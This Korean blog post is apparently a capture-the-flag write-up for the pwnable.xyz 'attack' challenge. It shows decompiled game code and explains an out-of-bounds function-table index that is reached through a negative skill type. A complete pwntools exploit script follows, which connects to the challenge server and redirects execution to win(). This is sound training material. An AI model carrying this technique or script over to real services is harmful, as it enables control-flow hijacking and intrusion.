블로그 이전했습니다. https://jeongzero.oopy.io/
[pwnable.xyz] attack
본문 바로가기
워게임/pwnable.xyz

[pwnable.xyz] attack

728x90

 

1. 문제


1) mitigation 확인 

PIE 빼고 다 걸려있다 

 

 

2) 문제 확인 

대충 보면 HP가 있다. 게임인듯하다. 스킬로 특정 팀을 조져서 HP를 다 깍으면 이기는 그런 게임이다. 게임에서 이기든, 지든 한 게임이 끝나면, 다시 게임이 진행된다. 

 

 

3) 코드 확인 

  • main()
    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      setup();
      show_banner();
      main_handler();
      return 0;
    }

    메인에서는 이게 다다. 해당 바이너리는 복잡하게 되있다. 따라서 필요한 부분만 보자 

     

     

  • main_handler()→play()
    void __cdecl play()
    {
      unsigned int v0; // ecx
      const char *v1; // rax
      int curTeam; // [rsp+8h] [rbp-18h]
      int curPlayer; // [rsp+Ch] [rbp-14h]
      int winner; // [rsp+10h] [rbp-10h]
      int round; // [rsp+14h] [rbp-Ch]
      unsigned __int64 v6; // [rsp+18h] [rbp-8h]
    
      v6 = __readfsqword(0x28u);
      winner = -1;
      curTeam = 0;
      curPlayer = 0;
      reset_teams();
      if ( Rank > 1 )
        change_equip();
      if ( Rank > 2 )
        do_skill_change();
      round = 0;
      while ( winner == -1 )
      {
        if ( *(&player.IsAlive + 0x7E * curTeam + 0x3E * curPlayer) )
        {
          wait(5);
          v0 = round++;
          if ( *(&player.IsCPU + 0x7E * curTeam + 0x3E * curPlayer) )
            v1 = "CPU";
          else
            v1 = "Player";
          printf("Round (%s): %d\n", v1, v0);
          show_teamup(Teams);
          show_teamup(&team);
          execute_action(curTeam, curPlayer);
          winner = check_for_win();
        }
        cycle_players(&curPlayer, &curTeam);
      }
      puts("Round (END): It's over");
      printf("Team '%s' won the match...\n\n", Teams[winner].TeamName);
      check_for_rankup(winner);
    }

    중요하게 볼 부분은 오렌지색으로 칠한 부분이다. 

    1. change_equip();

      랭크가 2이상이 될 경우, 호출 가능하다. 장비를 변경 가능하다 

    1. do_skill_change();

      랭크가 3이상이 될 경우, 호출 가능하다. 스킬을 변경 가능하다 

    1. execute_action(curTeam, curPlayer);

      실제 게임이 진행되는 액션에 해당하는 기능을 한다. 

    1. check_for_rankup(winner);

      해당 함수를 보면, 게임에서 이기든 지든, 랭크를 올려준다.  

       

  • main_handler()→do_skill_change()
    void __cdecl do_skill_change()
    {
      Player *player; // [rsp+0h] [rbp-70h]
      __int64 destSkill; // [rsp+8h] [rbp-68h]
      __int64 isAttack; // [rsp+18h] [rbp-58h]
      char buf[64]; // [rsp+20h] [rbp-50h]
      unsigned __int64 v4; // [rsp+68h] [rbp-8h]
    
      v4 = __readfsqword(0x28u);
      memset(buf, 0, 0x40uLL);
      printf(
        "Since you're a %s now, you may modify your skills before battle.\n"
        "Do you want to change the type of your skills (y/n)? : ",
        Ranks[Rank]);
      fgets(buf, 3, stdin);
      if ( buf[0] == 'y' )
      {
        show_skills();
        player = getPlayer(0, 0);
        while ( 1 )
        {
          printf("Which skill do you want to change (3 to exit): ");
          destSkill = get_long();
          if ( destSkill > 2 )
            break;
          printf("What type of skill is this (0: Heal, 1: Attack): ");
          isAttack = get_long();
          if ( isAttack <= 1 )
          {
            player->Skills[destSkill].Skill_Func = SkillTable[isAttack];
            player->Skills[destSkill].IsAttackSkill = isAttack;
            player->Skills[destSkill].Value = get_rand(1000);
          }
        }
      }
    }

    맨 아래 조건문을 보면 된다. 스킬 테이블에 들어있는 스킬을 변경할 수 있는 로직인데, isAttack은 음수가 와도 통과되므로, bss 영역에 들어있는 SkillTable을 OOB가 가능하다. 

     

     

2. 접근방법


바이너리 분석은 복잡했지만, 사실 분석만 꼼꼼히 하면 어려운 문제는 아니다. 

처음에는 SkillTable에서 OOB로 바로 win함수로 접근하려고 했지만, 8바이트 단위이므로, /8을 해야하는데 

 

0x6046E0 + 8x = 0x401372(win)

요렇게 해버리면, x가 8로 딱 안나눠 떨어진다. 따라서 다른 방법을 찾아야한다. 

 

또 삽질하다가 찾은 내용이, do_skill_change() 함수호출전에 change_equip 함수를 호출하는데, 여기서 fgets로 새로운 장비를 입력을 받는다. 입력한 데이터는 player.Equip.Name 여기에 들어가는데 이는 bss 영역에 존재하는 구조체 변수이다. 

 

따라서 여기에 win 함수 주소를 넣고 do_skill_change() 함수를 이용해서 OOB를 통해 SkillTable 에 win 함수 주소를 넣으면 된다. 

 

그리고 rank를 3까지 올려서, do_skill_change 함수가 호출되게 한다음, 게임을 진행하게 되면, 변경한 스킬 입력시 win함수가 호출될 것이다.  

 

 

 

3. 풀이


최종 익스코드는 다음과 같다. 

(참고로 pwntools recv, send 계열 이용시 타이밍이 안맞아서 그런지 삽질을 여기서 제일 오래 했다 ;) 

 

from pwn import *
context(log_level="DEBUG")
p=remote("svc.pwnable.xyz",30020)
#p=process("./challenge")
#gdb.attach(p,'code\nb *0xBA2+$code\n')
#gdb.attach(p)
while(1):
        p.sendlineafter("Which skill do you want to use : ","0")
        p.sendlineafter("use that skill on : ","0")
	tmp=p.recvuntil("Round (END): It's over\n",timeout=5)
	if tmp:
		break;
log.info('44444444444444444444444444444444444444444444444444444')
#pause()
while(1):
        p.recvuntil("want to use : ")
        p.sendline("2")
        p.recvuntil("use that skill on : ")
        p.sendline("0")
        tmp2=p.recvuntil("Round (END): It's over\n",timeout=5)
        log.info(tmp2)
	#pause()
	if tmp2:
                break;

log.info('33333333333333333333333333333333333333333333333333333333')
#pause()
p.recvuntil("change your equip (y/n)? : ")
p.sendline("n")

while(1):
        p.recvuntil("want to use : ")
        p.sendline("2")
        p.recvuntil("use that skill on : ")
        p.sendline("0")
        tmp3=p.recvuntil("Round (END): It's over\n",timeout=5)
        if tmp3:
                break;

log.info('111111111111111111111111111111111111111111111111111111111111')
#pause()

p.recvuntil("change your equip (y/n)?")
p.sendline("y")

p.recvuntil("Name for your equip: ")
p.sendline(p64(0x401372))

p.recvuntil("type of your skills (y/n)? : ")
p.sendline("y")

p.recvuntil("Which skill do you want to change (3 to exit): ")
p.sendline("1")

p.recvuntil("What type of skill is this (0: Heal, 1: Attack): ")
p.sendline("-113")

p.recvuntil("Which skill do you want to change (3 to exit): ")
p.sendline("3")

p.sendlineafter("want to use : ","1")
p.sendlineafter("use that skill on : ","0")
sleep(0.4)

p.interactive()

 

 

 

4. 몰랐던 개념


  • none

 

728x90

'워게임 > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] PvP  (0) 2020.05.09
[pwnable.xyz] bookmark  (0) 2020.05.08
[pwnable.xyz] rwsr  (0) 2020.05.06
[pwnable.xyz] message  (0) 2020.05.05
[pwnable.xyz] UAF  (0) 2020.05.04